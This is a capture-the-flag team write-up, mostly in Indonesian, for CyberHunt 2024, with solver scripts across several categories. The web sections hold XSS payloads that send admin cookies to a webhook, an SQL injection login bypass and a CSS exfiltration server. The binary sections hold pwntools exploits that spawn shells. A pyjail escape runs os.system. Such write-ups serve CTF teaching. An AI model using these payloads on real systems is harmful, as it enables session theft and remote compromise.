N2LHaRD_Write_Up_Cyber_Hunt24

Write Up CyberHunt 2024

N2L - HaRD

Newton’s second law

Daniel

Hafidz

Caleb

Daftar Isi

Web Exploitation 6

simple curl 6

Flag: CYHUNT24{YmFieV9zaW1wbDNfZzBfY3VybA} 7

simple curl medium 7

Flag: CYHUNT24{m3dium_ezz_br0} 7

starboy or starling? 7

Flag: CYHUNT24{str1ng_b3fore_us1ng_sw1tch_in_PHP} 8

JWT 8

Flag: CYHUNT24{Udah_daftar_Technofair_belum??} 8

Bread 8

Flag: CYHUNT24{COOKIES_COOKIES_ENAKK-TAUU_HEHEHE} 8

Agent Rahasia 8

Flag: CYHUNT24{zzpatnam_eheh} 8

Val and Key 9

Flag: CYHUNT24{K3rja_B49us} 9

GerAld 9

Flag: CYHUNT24{kerenn_kamu_mendapatkan_flag_nya} 9

Javat (The Comeback Of Jawat) 10

Flag: CYHUNT24{w0w_j4g0_k4l1_4nd4_spr1ng_exploit} 10

ConDupload 11

Flag:CYHUNT{3z_b4s1c_xss_f0r_y0u} 12

ConnectDuo 13

Flag: CYHUNT{g00d_j0b_h4x0r_ch41n1n9_m0r3_4nd_m0r3} 15

XCRIP’ss 16

Flag: CYHUNT24{m4k4s1h_ud4h_s0lv3d_4ll_ch4ll} 18

Binary Exploitation 19

ash 19

Flag: CYHUNT24{w1nn1ng_4_sh3ll_y34?} 20

trip 20

Flag: CYHUNT24{n1c3_tr1p_0f_l1bc_1snt_1t} 21

punktion 21

Flag: CYHUNT24{4z_r3t_h3h3h3_n1c3_c4tch} 22

Cryptography 23

ber berr bernyanyi bernyanyi 23

Flag: CYHUNT24{1100_1011_1110_1111} 24

easy decode 24

Flag: CYHUNT24{just_decode_bradah} 26

rail fense 26

Flag: CYHUNT24{just_for_wsrmup_beiB} 27

ikan mati 27

Flag: CYHUNT24{m4sih_P3m4nas4n_uNtuk_y4ng_BeLom_P4nas} 28

aRC4de 29

Flag: CYHUNT24{1Ts_b4d_t0_u53_th3_s4me_keY} 29

Secret Message 30

Flag: CYHUNT24{EASY_CHALL_CRYPTO} 31

ezz warmup 31

Flag: CYHUNT24{k4mu_s3puh_bett_yah} 32

Rivest Shamir Adleman 32

Flag: CYHUNT24{3ncryp710n_x0r_w17h_5h4_512_n07_s3cur3_1_h0p3_y0u_ain7_d0_m4nu4lly} 32

kembalikan fotoku 33

Flag: CYHUNT24{d0Nt_sH4R3_mY_iM4g3} 34

RSA 34

Flag: CYHUNT24{CHALL_RSA_WAJIB-ADA} 36

Misc 36

find me 37

Flag: CYHUNT24{nice_tandanya_matamu_sehat} 38

behind the email 39

Flag: CYHUNT24{cum4_g1ni_4ja_gak_us4h_b1ngung} 40

World Based 41

Flag: CYHUNT24{Ban9_udah_Ban99} 42

Cari MD5 Hash 42

Flag: CYHUNT24{Md5hash_f1le_itu_Koenji} 43

Jahil 43

Flag: CYHUNT24{pyJa!l_br3AkPoinT_bu1ltIn_xPlo!t} 44

ZipZig 45

Flag: CYHUNT24{g1t_1s_wh4t_1t_t4k3s} 47

Benjamin Angel 47

Flag: CYHUNT24{3ncryp710n_x0r_w17h_5h4_512_n07_s3cur3_1_h0p3_y0u_ain7_d0_m4nu4lly} 48

Reverse Engineering 49

Tebak password 49

Flag: CYHUNT24{juST_R3aD_IT} 49

ular aneh 50

Flag: CYHUNT24{tHIS_Is_Pyth0N_In_dISAS} 51

static 51

Flag: CYHUNT24{D0_yoU_kN0w_wh4tiS_St4tic_m34N} 52

Regoal 52

Flag: CYHUNT24{} 52

Gogen 53

Flag: CYHUNT24{w4s_s0_3z_f0r_g0l4ng} 54

Digital Forensic 55

barang bukti 55

Flag: CYHUNT24{6350386314} 55

kena heck 56

Flag: CYHUNT24{usb_my_fav_St0rage} 56

Flagstorage 56

Lookin’ for Secrets 57

Flag: CYHUNT24{appd4ta_c4ch3data_235wefs35} 58

tebak aku 58

Flag: CYHUNT24{tetap_ilmu_padi_abangku} 58

IMG 58

Flag: CYHUNT24{masih_pemanasan_iniii} 59

Steg 59

Flag: CYHUNT24{masih_easy-lahh_yaaa} 59

bit/bit 59

Flag: CYHUNT24{1n_god_w3_trust} 60

rumah makan on day monday 60

Flag: CYHUNT24{CYHUNT24{m1s1_suks3s_k4mu_c1n4_as33l111}} 60

Child’s Play 60

Flag: CYHUNT24{br0ken_h3x_i5_EasY} 60

Huh Its Me Again 61

Flag: CYHUNT24{t3mpl4t3_d4ng3r0us_s3r10usly} 61

ayo maen bola 62

Flag: CYHUNT24{T0pP_SLUR} 63

Osint 64

no feedback 64

Flag: CYHUNT24{86554} 65

citylight 66

Flag: CYHUNT24{X9X4+69} 68

Koko Doko? 68

Flag: CYHUNT24{-6.454,106.672} 69

old pict 69

Flag: CYHUNT24{hehehe_congrats////} 70

masalalu 71

Flag: CYHUNT24{23_09_2011} 72

searchengine 72

Flag: CYHUNT24{3h_ketemu_d1sini} 73

Ingris Berduka 74

Flag: CYHUNT24{10665} 75

Destinasi 76

Flag: CYHUNT24{Obelix_Sea_View} 77

OSIG 78

Flag: CYHUNT24{EASY_CHALL_OSINT} 78

[CyberHunt 2024]

Welcome Chall

Overview

Free flag dari CyberHunt 2024.

Flag : CYHUNT24{WELCOME_CYBER_HUNT2024}

[Web Exploitation]

simple curl

Overview

Diberikan source code beserta service pada url http://cyberhunt.my.id:8080/

Attachment

Simple.zip

Code Review

Source code berisi kode program dalam bahasa pemrograman Golang (Go). Melalui analisis kami, kami menemukan beberapa kode penting, salah satunya adalah pengecekan request URL.

func redirectChecker(req *http.Request, via []*http.Request) error {

reqIp := strings.Split(via[len(via)-1].Host, ":")[0]

if len(via) >= 2 || reqIp != "127.0.0.1" {

return errors.New("Something wrong")

}

return nil

}

karena mirip dengan Cake CTF 2022 jadi kami pakai saja cara mereka untuk mendapatkan flagnya dengan cara

Flag: CYHUNT24{YmFieV9zaW1wbDNfZzBfY3VybA}

simple curl medium

karena mirip dengan Cake CTF 2022 seperti tadi jadi kami pakai saja cara mereka untuk mendapatkan flagnya dengan cara

Flag: CYHUNT24{m3dium_ezz_br0}

starboy or starling?

terdapat wu yg mirip pada soal ini yakni

https://blog.hamayanhamayan.com/entry/2022/09/04/150554#web-CakeGEAR

tinggal login pakai body ini

{"username":true,"password":true}

Flag: CYHUNT24{str1ng_b3fore_us1ng_sw1tch_in_PHP}

JWT

kita tinggal edit roles nya jadi admin dah kelar di cookienya yang bagian body jwt nya

Flag: CYHUNT24{Udah_daftar_Technofair_belum??}

Bread

kita dpt link replit, kita buka aja lgsg trs ke /flag.txt

https://5e8745bc-534c-498f-baf4-a1af117324c9-00-1k2ltb2e8vmpn.sisko.replit.dev/flag.txt

Flag: CYHUNT24{COOKIES_COOKIES_ENAKK-TAUU_HEHEHE}

Agent Rahasia

kita tinggal set agentnya jadi cyberspecters dan dpt flagnya btw flagnya ni dibaca terbalik isinya

curl https://ctf.teknokrat.ac.id/chall/cyberhunt/agent.php -H "User-Agent: cyberspecters"

CYHUNT24{zzpatnam_eheh}%

dan di reverse teks

Flag: CYHUNT24{hehe_mantapzz}

Val and Key

kita tinggal set header val dan key nya sesuai deskripsi

mintaflag=cyberspecters

curl https://ctf.teknokrat.ac.id/chall/cyberhunt/header.php -H "Cookie: X-Header-key=mintaflag;X-Header-val=cyberspecters"

CYHUNT24{K3rja_B49us}%

Flag: CYHUNT24{K3rja_B49us}

GerAld

sama kayak yg replit tadi kita buka pakai /flag.txt

https://1122a2a4-af20-447c-a1a7-bb85290d8a08-00-1snfmebwkm5i0.pike.replit.dev/flag.txt

Flag: CYHUNT24{kerenn_kamu_mendapatkan_flag_nya}

Javat (The Comeback Of Jawat)

disini menggunakan spring dan juga jwt, lgsg saya search spring exploit dan ketemu weak ECDSA signature https://www.linkedin.com/pulse/elliptic-curve-digital-signature-algorithm-flaw-mohammed-janbar

lgsg kita modif payload body jwt nya dan ubah bagian terakhir menjadi MAYCAQACAQA

eyJhbGciOiJFUzI1NiJ9.eyJzdWIiOiJndWVzdCJ9.yjfvUuPdmyMqPJRt-c71fVluOXR2K_iddRN8FQ9BEybJOkbeCH7OpBwUZb-LlF9uBWZnTaPAi_xSzUt77nrhLA

jadi

eyJhbGciOiJFUzI1NiJ9.eyJzdWIiOiJhZG1pbiJ9.MAYCAQACAQA

Flag: CYHUNT24{w0w_j4g0_k4l1_4nd4_spr1ng_exploit}

ConDupload

disini ada terdapat kerentanan yakni xss pada rendering second page pdf ( dan pastekan xss nya tadi ke /logger untuk grab cookie admin )

lgsg aja pakai solver saya

import httpx

import fpdf

URL = "http://103.191.63.185:49047"

PDFNAME = "exploit.pdf"

WEBHOOK = "https://{{webhooklu}}"

class BaseAPI:

def __init__(self, url=URL) -> None:

self.c = httpx.Client(base_url=url)

def sendpdf(self,namefilepdf) -> str:

data = {"file":open(namefilepdf,'rb')}

return self.c.post("/upload", files=data).json()["file_path"]

def triggeradmin(self,uid):

return self.c.get(f'/logger',params={

"url":f"{URL}/view/{uid}"

}).text

class API(BaseAPI):

def createPayloadPDF(self,payload,fileoutputname):

self.filename = fileoutputname

self.pdf = fpdf.FPDF(format='letter')

self.pdf.add_page()

self.pdf.set_font("Arial", size=12)

self.pdf.cell(200, 10, txt="your text", ln=1, align="L")

self.pdf.add_page()

self.pdf.cell(200, 10, txt=payload, ln=1, align="L")

self.pdf.output(self.filename)

if __name__ == "__main__":

api = API()

api.createPayloadPDF(f"""

fetch('{WEBHOOK}?c='+document.cookie)

</script>""",PDFNAME)

path = api.sendpdf(PDFNAME).replace("uploads/", "")

print(api.triggeradmin(path))

Flag:CYHUNT{3z_b4s1c_xss_f0r_y0u}

ConnectDuo

disini terdapat 2 kerentanan yakni xss universal path yakni /bootstrap.js ( karna gapake / jadi bs dirender dimanapun kalao kita set <base tag ) dan 1 lagi yaitu lfi read cmdline

untuk caranya kita tinggal host bootstrap.js di local kita dan tunneling menggunakan apapun yg kalian mau disini saya pakai playit. ini untuk isi bootstrap.js nya

yaitu mengirim cookie di requestcatcher

selanjutnya kita host file ini bs menggunakan simple server python dan juga ngrok

dan lgsg saja kita taruh payload

dan kita taruh di /logger jadi full payloadnya

http://103.191.63.185:8837/logger?url=http://103.191.63.185:8837/msg?payload=<base href="http://kids-penn.gl.at.ply.gg:45858">

dan cek webhook kita

terdapat cookieadmin. lgsg kita eskalasi ke lfi

dapet nama flag nya. lgsg kita get

Flag: CYHUNT{g00d_j0b_h4x0r_ch41n1n9_m0r3_4nd_m0r3}

XCRIP’ss

Disini kami harus melakukan xs-leak, namun ada beberapa rules pada csp.

csp = { 'default-src': ['none'], \

'style-src': ['*'], \

'img-src': ['*'], \

}

Kami sudah jelas tidak bisa melakukan XSS karena default-src none, namun kami bisa memanfaatkan style-src yang nantinya kami bisa pakai css selector buat nge match flag di attribute value h2 satu per satu.

Di login ada sqli tapi username kami harus broskiereallythink_he_is_admin_lol biar bisa request ke /logger dan di password harus ada string t rootp dan length nya harus 57 setelah nyoba nyoba semua payload akhirnya kami dapet payload kaya gini.

username = "broskiereallythink_he_is_admin_lol"

password = "t rootp' union select 1,2,3 -- aaaaaaaaaaaaaaaaaaaaaaaaaa"

karena ini xs leak untuk solver nya kita buat 2 script yang pertama solver.py dan server.py.

solver.py

import requests

import http.server

import sys

import string

URL = "http://103.191.63.185:8337"

URL_SERVER = sys.argv[1]

admin_request = requests.Session()

admin_request.post(URL + "/login", data={

"username": "broskiereallythink_he_is_admin_lol",

"password": "t rootp' union select 1,2,3 -- aaaaaaaaaaaaaaaaaaaaaaaaaa"

})

for count in range(100):

response = admin_request.get(

f"{URL}/logger?url={URL}/dash?usr=<link rel='stylesheet' href='{URL_SERVER}/{count}.css'>"

)

server.py

from flask import Flask

import string

HOST = "10.10.0.1" # ip public vps

PORT = 8000

FLAG = ""

app = Flask(__name__)

@app.route("/<flag>", methods=["GET"])

def index(flag):

global FLAG

FLAG = flag

return flag

@app.route("/<int:count>.css", methods=["GET"])

def css(count):

global FLAG

payload = ""

for char in string.ascii_letters + string.digits + "_{}":

payload += f'h2[value^="{FLAG}{char}"]{{background: url("http://{HOST}:{PORT}/{FLAG}{char}"), auto}}'

return payload, 200, {"Content-Type": "text/css"}

if __name__ == "__main__":

app.run(host=HOST, port=PORT, debug=True)

Setelah penantian panjang buat dapetin flag akhirnya kita dapet flagnya CYHUNT24{m4k4s1h_ud4h_s0lv3d_4ll_ch4ll}

Flag: CYHUNT24{m4k4s1h_ud4h_s0lv3d_4ll_ch4ll}

Binary Exploitation

ash

basically kita cmn perlu write shellcode dan leak address saja dan ini solvernya

#!/usr/bin/env python3

# -*- coding: utf-8 -*-

from pwn import *

context.terminal = ["kitty", "@launch", "--cwd=current", "--location=vsplit"]

exe = context.binary = ELF(args.EXE or 'chall2')

host = args.HOST or '103.191.63.185'

port = int(args.PORT or 9999)

def start_local(argv=[], *a, **kw):

'''Execute the target binary locally'''

if args.GDB:

return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw)

else:

return process([exe.path] + argv, *a, **kw)

def start_remote(argv=[], *a, **kw):

'''Connect to the process on the remote host'''

io = connect(host, port)

if args.GDB:

gdb.attach(io, gdbscript=gdbscript)

return io

def start(argv=[], *a, **kw):

# '''Start the exploit against the target.'''

# if args.LOCAL:

# return start_local(argv, *a, **kw)

# else:

return start_remote(argv, *a, **kw)

gdbscript = '''

tbreak vuln

continue

'''.format(**locals())

# -- Exploit goes here --

io = start()

io.send(cyclic(0x40))

io.recvuntil(cyclic(0x40))

buf = u64(io.recv(6) + b"\0\0") - 336

log.info(f"buffer @ 0x{buf:x}")

shellcode = asm(shellcraft.sh())

offset = 328

io.sendline(flat({0: shellcode, offset: buf}))

io.interactive()

Flag: CYHUNT24{w1nn1ng_4_sh3ll_y34?}

trip

ropgadget ret2libc dengan memanfaatkan got.setbuf untuk ngeleak address dari libc

#!/usr/bin/env python3

from pwn import *

exe = ELF("./chall")

libc = ELF("./libc.so.6")

ld = ELF("./ld-linux-x86-64.so.2")

context.binary = exe

if args.REMOTE:

r = remote("103.191.63.185", 13377)

else:

r = process([exe.path])

if args.GDB:

gdb.attach(r)

rop1 = ROP(exe, badchars=b'')

rop1.puts()

rop1.main()

log.info(rop1.dump())

r.sendlineafter(b'sus?', b'A' * 56 + p64(exe.got.setbuf) + b'B' * 8 + rop1.chain())

libc.address = int.from_bytes(r.recvline(keepends=False), 'little') - libc.symbols.setbuf

log.info(f'{hex(libc.address)=}')

rop2 = ROP([exe, libc], badchars=b'')

rop2.execve(next(libc.search(b'/bin/sh\0')), 0, 0)

log.info(rop2.dump())

r.sendlineafter(b'sus?', b'A' * 72 + rop2.chain())

r.interactive()

Flag: CYHUNT24{n1c3_tr1p_0f_l1bc_1snt_1t}

punktion

leak canary menggunakan printf leak dan return to function win ( _punk_uns )

#!/usr/bin/env python3

from pwn import *

exe = ELF("./chall")

context.binary = exe

if args.REMOTE:

r = remote("103.191.63.185", 9993)

else:

r = process([exe.path])

if args.GDB:

gdb.attach(r)

r.sendlineafter(b'what grade are u?', b'A' * (0x48 - 3) + b"i'm")

r.recvuntil(b'hi ')

canary = u64(b'\0' + r.recv(7))

log.info(f'{hex(canary)=}')

pl = b'A' * 0x48

pl += p64(canary)

pl += b'B' * 8

pl += p64(exe.symbols._punk_uns)

r.sendlineafter(b'SMA', pl)

r.sendline(b'bye')

r.interactive()

Flag: CYHUNT24{4z_r3t_h3h3h3_n1c3_c4tch}

Cryptography

ber berr bernyanyi bernyanyi

diberikan file berupa zip yang jika di ekstrak menghasilkan 4 foto dari chord gitar dan karena saya tidak bisa bermain gitar jadi saya mencari chord tersebut di google

okee dari foto tersebut diketahui bahwa chord dari foto foto tersebut ialah cbef, karena di hint disuru menggunakan binary jadi kita rubah menjadi binary, akan menjadi seperti berikut 01100011 01100010 01100101 01100110 setelah mencoba submit kita menemukan bahwa flagnya adalah

Flag: CYHUNT24{1100_1011_1110_1111}

easy decode

diberikan file chall.txt yang berisikan file jsfuck

lalu kita coba run jsfuck di sini

mendapatkan hasil tersebut, kelihatannya base64 jadi

setelah itu, hasil dari decode an nya berupa ascii jadi tinggal diubah ke ascii sajaa

Flag: CYHUNT24{just_decode_bradah}

rail fense

Diberikan sebuah Plaintext, dan berdasarkan judul adalah sebuah rail fence cipher. Kami pun melakukan decrypt di https://www.dcode.fr/rail-fence-cipher.

Flag: CYHUNT24{just_for_wsrmup_beiB}

ikan mati

Berdasarkan, nama challnya, kami langsung terpikirkan pada Deadfish Language. Kami pun men-decode isi dari chall.txt di https://www.dcode.fr/deadfish-language.

Setelah di decode, terlihat outputnya adalah sebuah decimal, kami pun mengubahnya ke text di Cyberchef.

Flag: CYHUNT24{m4sih_P3m4nas4n_uNtuk_y4ng_BeLom_P4nas}

aRC4de

Dengan melihat nama soal dapat disimpulkan hint atau soal menggunakan bahasa RC4, jadi mari kita lihat isi dari chall.txt

Terlihat bahwa ada bilangan desimal, mari kita eksekusi

Nilai hex yang dimiliki melati di buat untuk KEY dan nilai hex mawar untuk ciphertext terakhir nilai dari drop bytes adalah 2, dan menemukan flagnya

Flag: CYHUNT24{1Ts_b4d_t0_u53_th3_s4me_keY}

Secret Message

Soal ini memberikan sebuah chall.txt yang berisi pesan rahasia yang menggunakan bahasa asing

Dengan itu saya analis menggunakan dcode

Terlihat ada beberapa bahasa yang mengidentifikasi pesan tersebut menggunakan bahasa apa saja. Di sini saya mencoba semuanya dan saya menemukan bahasa base 64 di vigenere

Dengan KEY nya saya mengam sumsikannya adalah “cyberspecters”, setelah menemukan base64 langsung saja eksekusi

Flag: CYHUNT24{EASY_CHALL_CRYPTO}

ezz warmup

beaufort cipher -> base64 -> save file to image

https://www.boxentriq.com/code-breaking/beaufort-cipher

Flag: CYHUNT24{k4mu_s3puh_bett_yah}

Rivest Shamir Adleman

from pwn import *

from math import isqrt

from Crypto.Util.number import inverse

def solve(C, N, L):

poss = []

mlim = 2**20

for x in range(1, mlim):

a = x

b = L-N-x**2

c = x*N

d = b**2-4*a*c

if (d < 0):

continue

qform = (-b + isqrt(d))//(2*a)

p = N//qform

if ((p-x)*(qform-x) == L):

poss.append((qform))

break

p, q = poss[0], N//poss[0]

phi = (p-1)*(q-1)

e = 65537

d = inverse(e, phi)

decrypted = pow(C, d, N)

return decrypted

# Call the function with the given values

c = 482141814293590197502811474932029460661002532026573389658314180817247220459567499644958813997954118165812805842379533342289685282342190878463555770319306702212371338421308577197808075733262746698915443870285704975713938187354245306882018603981861096910392565923449771474244846133935858183892442399384530396818463948228866440593529120035856503573645835417661055033375809617574668281810192642128039857794375578196515576016282697213146284137358859161967849203722347022670851942110328128090220811544954105609007156939589338442749349192205490919357312671666371523730743353967110958600501669921250066538273401682291394345855460667419963405890047662195424411646413051239913962784724603414614295672619281243619974099998284023569416931872380118826378415952641962074347822268988907665410162093893191294976542657310550364750171962183438541560667737058713130139687475959700180617174146124271080565029179919134970482251352276610620942172891344884427239369811412269931877319732705001157215137568954175594638966910255750482059458912720602745097824142949013286464493638164353122838573908807596997028438262020669411601445790668381313964905487504298277380439317740327368087769300728419726732791363279157290655787601257794628395101155639644842341699135

n = 528436262580846762901857325732232736166648872939103083309075323048587144665954366777770148670341638915508142465585694148586624262254279715845025884663224007901604258112098741924026794890723351011365114928314766612423088250135432651223560612140330927943276397565467670534462207869414259529142429718464416773512359946991571592204492141250666736784231663247562147233712076630210133179093152151398423048305060473935185962540742726006346865417521629615431055243138663866994101573889476423432510959941832587087755700047074410076555077651720048033601793183807447694510380286157468177852775857722889745254569773294028743199581982618427539635114018387999459427096585596693094766887196412186777166762256300898635951447124132990564023307970180232108839523620932245689560214004901167211276865443187285178973208030606403570904348286971729129443319014922388783953027047306977514434942111024688334842204849639082723659326322942197554172703594382622361330415889304337481105006710674314832429392048823309376897392093291814544752178756331313933326274918397555806383966827938477797887626322295583067419678526170502751051815999547491346475838775493379963575950945383094288905785578862781590155292357993465257441076750559390702777793879920773923360505729

dont_leak_this = 528436262580846762901857325732232736166648872939103083309075323048587144665954366777770148670341638915508142465585694148586624262254279715845025884663224007901604258112098741924026794890723351011365114928314766612423088250135432651223560612140330927943276397565467670534462207869414259529142429718464416773512359946991571592204492141250666736784231663247562147233712076630210133179093152151398423048305060473935185962540742726006346865417521629615431055243138663866994101573889476423432510959941832587087755700047074410076555077651720048033601793183807447694510380286157468177852775857722889745254569773294028714802587756819617526310246486562249308878287369930281829317109892460612723293059038039377951279889185229047320642775074454514818408542100144672509117014404047926851555589041911378576323871490499216596863639711990956042881047663425365554770338969149632362156926749689032941662498470212439140672375430670960299764832213587813403640167633921698621055954011608605679143972873686998704229434426363359898491268123599344516156578500620032253510315791194134471452469574313538124525100206752789188994952941057690705690718223779232894758631999316421367042043555780702270494361128263524494859425138025952452591616585550294890683685104

print(solve(c, n, dont_leak_this))

Flag: CYHUNT24{just_a_simple_algebra_am_i_right?}

kembalikan fotoku

Gambar flag di split dijadikan chunk dengan length 5 yang di jadikan long dan dienkripsi pakai XOR yang key nya random. Kami bisa pakai 5 byte pertama dari header png kemudian XOR dengan hasil enkripsi pertama buat dapetin key, setelah itu tinggal deksripsi semua chunk.

from Crypto.Util.number import bytes_to_long, long_to_bytes

import string

png = "89 50 4E 47 0D 0A 1A 0A"

png_long = bytes_to_long(bytes.fromhex(''.join(png.split()))[:5])

chip = eval(open('enc', 'r').read())

key = chip[0] ^ png_long

print("Key :", key)

png = b""

for i in chip:

decrypted = long_to_bytes(i ^ key).rjust(5, b'\0')

png += decrypted

open('self_solv.png', 'wb').write(png)

dan kami dapat flag CYHUNT24{d0Nt_sH4R3_mY_iM4g3}.

Flag: CYHUNT24{d0Nt_sH4R3_mY_iM4g3}

RSA

calculate p pake gcd dp dan p2q

Crypto/RSA

from Crypto.Util.number import long_to_bytes, inverse

from math import gcd

# Given values

ciphertext = 6679751571680153009963904682331184917652002856700102310232283862142510059360180548700458831963141409609920551415092207709728225180286265998724528164577674542248721526251187945599585717178191437930160757806807093902793807235144537860942319684760999843630442651226130860002909404140653471185313647715181302304167348924688037557405954539411557457882044330160211329312062720746325861916622922820920104281967898138703453429045946889126965213138749635812159404760369795951532507412006588445870437729196704275485530658165559396122865023696853894261433203860671549068300198104293392003636061195320565520679305383883882898704604559634890784729197249080759946890339250163066886325287412173193725229601090022511506412230800802290674678253497769900141951607190755458800862513784646884224494722467907534558045716790058316430899730082488292110364545682645526449625284655084352824888655261021276231604789263073577754238178023201953270541398611484040131436716568377922478723737147991263070279633895970368806063613324760527575876314365886699695723894144649502485701910377316805704678920436308732783312047975198912094727120936436700875408590797953864331729040548975810138259062653692644739165742002068121098949542299582433914931491801296451377581006636483

dp = 171432559101471989605646948356373748103604947361256607378340448850139917017741253759903745507057919262287422186222940360213785420605757333138847887731767022598405608474995330651947849082078370449736651288592860283221797983119927725117149200774804739974975582585523359416946408144385855153221559461347298824391132395892996924625640872166698317735741877365806943143135835009957625457973450121352962604530814817655901697483088999524541499291037003678660130712141021632221794174249924834077632177968501757212722623350575181797794958244328870841294336463187222306714995492272643611646928249482017303542563647469595369211254712548098832095540995311841074627538151877339371487927806145948905672833767915852929856220973560840386125633752412480320584458935038302142751449534187398925662384466751897711549687947862910839873293128396014847384039868091701077519788860107065614981153691686685326821058865631742737041863375989903668129520572806351954019608985002225703602063443485842326068527683024332639834458331067102353325840535706456324422275754723563198715550407175182648240718090477435547945193732546635158601952418224352960525259751828810794856217898929112965219114783525262615310830832190730442349789460621438028345913017708361465523133564202266062786788681281757147027464002581040633319572450555353324321699056478024157129773151732670142844483164508432539498373947180375305585469627835596667356476511772733667404728958877380598398949024045379136292741643874960237432332704625052528856617384339450570121280954511126937150643703664520808218298441310306024377957237049720519185727832578500913286023909348162473989113812550805225552724830261887490591714039944400527976071373184209831845969062119462403725052459177546892619818022391873329229206364783314296446725486658518678734803325482151370648102682365593547647791628684309371655283249776091365996509876023788183283

p2q = 213170963396891562143729893832305593956284174845169799407158675577110705655852548100992539024685605819040523438354858977086250927051314265096682933654811030453120355993278986527591427479217724393594363257765113070515263721083971223242626072880720581419978650145288765887646651182214510751858103451633012485610884049514075314470934936707881750297833515167875716398286561408739074084796622722760821747711526623749451276879787567817851745356924240775796394772442579161577074751879657031608875439664580204201692487743603940603018464632550634822614684162563342914622534096899198261578687727659671151167232592054166999563570889708448262394605837628857811991515889971291433914715772638211960415936759778304390577548067679510456479994850801235456371216662187652015317755739895815495111283612397090640609867328889881660712528196291865436926052849406375373713408563964846026093263911701059393127967976555276551426913678840649401811190075325584784349447556418171890714076070692905482708888254009586154239227598710507703178655793348942676198573019759816326439893896477510901166547609616895842071430538232916809944394150298378345872103063301628330221653850388439443364638019538570767613777320343878189983973545330874737453400095937886979792088374986323520843348511102325586784495504624319448813796476293969903137538257355998338779733642119548481876998281481405692762331628893501531291329441495308243568019180766627407280078643666235573172278294075588442969374279359865601439488703565838942636582392466277488366374194890249687124242483769387553299912110196370951410060473480026800086484176574417759880104620851539589554039438701036794016648069808210636519140497455612086833766213769594997981459162235532307853956081579590271809503536822605626989725511498994042990581546736877584625171747601769972545109503616616296913370130968957785947869343438375248167319517552596218503

e = 65537

# Step 1: Compute p using gcd

p = gcd(dp, p2q)

# Step 2: Derive q from n and p

q = p2q // (p * p)

n = p * q

# Validate the computed q

assert p * q == n, "p and q do not multiply to n"

# Step 3: Compute phi and the private key d

phi = (p - 1) * (q - 1)

d = inverse(e, phi)

# Step 4: Decrypt the ciphertext

decrypted_flag = pow(ciphertext, d, n)

# Convert the decrypted flag back to bytes

decrypted_flag_bytes = long_to_bytes(decrypted_flag)

# Print the decrypted flag

print(decrypted_flag_bytes)

Flag: CYHUNT24{CHALL_RSA_WAJIB-ADA}

Misc

find me

Diberikan sebuah gif yang isinya beberapa gambar random

Setelah kami lihat dengan lebih cermat, terdapat sebuah gambar yang terdapat QR code.

Kami pun melakukan scan pada QR tersebut dengan google lens.

Flag: CYHUNT24{nice_tandanya_matamu_sehat}

behind the email

Kami pun menjalankan command strings untuk melihat isinya.

Terlihat sebuah base64 text, kami pun langsung decode.

Hasil decode tadi ternyata sebuah link google docs.

Kami pun mencoba untuk melihat history editnya.

Flag: CYHUNT24{cum4_g1ni_4ja_gak_us4h_b1ngung}

World Based

Diberikan sebuah text base64 yang sangat panjang. Nampaknya ini di encode dengan base64 berkali kali sehingga menghasilkan ciphertext yang sangat panjang. Untuk penyelesaiannya, kami gunakan cara manual, yaitu decode 1 persatu di cyberchef, namun cukup mudah dengan cara copy paste berulang ulang.

Flag: CYHUNT24{Ban9_udah_Ban99}

Cari MD5 Hash

Diberikan sebuah file zip yang ketika si ekstrak mengeluarkan banyak file .txt.

Kami pun mencoba untuk melakukan strings ke semua file .txt tersebut.

Flag: CYHUNT24{Md5hash_f1le_itu_Koenji}

Jahil

Berikut yang di blacklist.

‘+breakpoint()+’

import os

os.system(‘cat fl*’)

Flag: CYHUNT24{pyJa!l_br3AkPoinT_bu1ltIn_xPlo!t}

ZipZig

Diberikan file zip yang ketika di unzip akan menjadi seperti berikut

setelah itu, setelah kami melihat lihat ternyata ada file yang aneh bernama .git, yang sebenarnya itu adalah folder untuk menyimpan informasi project seperti commit, alamat repo dan lain lain tapi kok filenya berupa zip?

oke mari kita coba untuk mengekstrak nya, biar tidak campur campur kita buat folder baru.

okee kita sudah ektrak lalu memasukkannya pada folder solve. setelah itu kita tinggal liat lognya ini merubah apa saja.

kami sudah mencoba untuk git log dan grep tidak menemukan apa apa setelah itu saya mencoba untuk git show satu” ternyata menemukannya di awal dengan commit message “modifikasi”

Flag: CYHUNT24{g1t_1s_wh4t_1t_t4k3s}

Benjamin Angel

refferensi : https://github.com/Minto312/CTF/blob/144c1440a2eba1f5a3789552e37f05475b90ca12/TJCTF-2024/crypto/accountleak/server_copy.py#L13

kita brute dgn comparasion new valuenya yg dr servernya

from pwn import *

from hashlib import sha512

r = remote('103.191.63.185', 31337)

def H(m):

return sha512(m).digest()

def xor(a, b):

return bytes([i ^ j for i, j in zip(a, b)])

def sign(m):

r.recvuntil(":> ")

r.sendline(m)

hash = r.recvline().decode().strip("").split(": ")[1]

print(hash)

return hash

def main():

zpreimage = b'\x00'

zhash = H(zpreimage).hex()

flag = ""

to_send = b''

while True:

for i in range(32, 129):

temp = to_send + i.to_bytes(1, 'big')

print("Sending: ", temp)

temp2 = sign(temp)

if temp2 == zhash:

flag += chr(i)

print("Found!", flag)

to_send = flag.encode()

zpreimage += b'\x00'

zhash = H(zpreimage).hex()

break

else:

print("nope")

if __name__ == '__main__':

main()

Flag: CYHUNT24{3ncryp710n_x0r_w17h_5h4_512_n07_s3cur3_1_h0p3_y0u_ain7_d0_m4nu4lly}

Reverse Engineering

Tebak password

Diberikan file ELF64 Executable, langsung saja kami membuka ida64.

Dan flagnya berhasil kami dapatkan.

Flag: CYHUNT24{juST_R3aD_IT}

ular aneh

basically kita bisa gpt dan convert ke py

flag = [

134, 178, 144, 170, 156, 168, 100, 104, 246, 232, 144, 146, 166, 190, 146,

230, 190, 160, 242, 232, 208, 96, 156, 190, 146, 220, 190, 200, 146, 166,

130, 166, 250

]

def dec():

dec = ''

for i in flag:

decrypt = chr(i >> 1)

dec += decrypt

return dec

# Example usage

decrypted_message = dec()

print(decrypted_message)

Flag: CYHUNT24{tHIS_Is_Pyth0N_In_dISAS}

static

secret di xor dengan 0x99.

langsung aja di decode.

Flag: CYHUNT24{D0_yoU_kN0w_wh4tiS_St4tic_m34N}

Regoal

Pakai wireshark ada request dan useragent nya itu flagnya tinggal decode aja.

Setelah didecode.

Flag: CYHUNT24{g00d_j0b_w4rm_4p}

Gogen

